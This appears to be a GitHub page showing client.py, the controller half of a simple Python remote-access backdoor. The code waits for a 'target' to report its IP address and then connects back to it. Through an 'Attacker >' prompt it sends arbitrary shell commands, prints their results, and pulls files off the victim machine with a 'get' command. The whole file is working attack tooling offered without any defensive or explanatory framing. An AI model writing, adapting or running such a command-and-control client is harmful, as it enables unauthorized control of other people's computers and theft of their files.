-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
58 lines (56 loc) · 2.02 KB
/
Copy pathclient.py
File metadata and controls
58 lines (56 loc) · 2.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
import socket
import json
addr = (socket.gethostname(), 9999)
server = socket.socket()
server.bind (addr)
server.listen ( 5 )
print("Waiting target...")
cl, addr = server.accept ()
ip = (str(cl.recv(1024), encoding='utf-8'))
print(ip)
cl.close()
ip_port = (ip , 8888)
sk = socket.socket()
sk.connect(ip_port)
print('sever open....')
while True:
print("==========Successful connection============")
print(str(sk.recv(1024), encoding='utf-8'))
while True:
inp = input('Attacker >').strip()
if inp =='': continue
sk.sendall(bytes(inp, 'utf-8'))
split = inp.split(" ")
if split[0] == "get":
gg = sk.recv( 1024 )
json_obj = gg.decode()
if (str(gg, 'utf-8')) != 'No finish!' :
file_info = json.loads(json_obj)
filename = file_info[ 'filename' ]
filesize = file_info[ 'filesize' ]
print ( 'filename=' ,filename, 'filesize=' ,filesize)
recevie_size = 0
myfile = open(filename, 'wb' )
print("Sending File...")
while recevie_size < filesize:
filedata = sk.recv(1024)
myfile.write(filedata)
recevie_size += len(filedata)
myfile.close()
print('receive file finished!')
else:
print((str(gg, 'utf-8')))
else:
basic_info_bytes = sk.recv(1024)
result_length = int(str(basic_info_bytes, encoding='utf-8').split('|')[1])
sk.sendall(bytes('ack',encoding='utf-8'))
has_received = 0
content_bytes = bytes()
while has_received < result_length:
fetch_bytes = sk.recv(1024)
has_received += len(fetch_bytes)
content_bytes += fetch_bytes
cmd_result = str(content_bytes, 'utf-8')
print(cmd_result)
sk.close()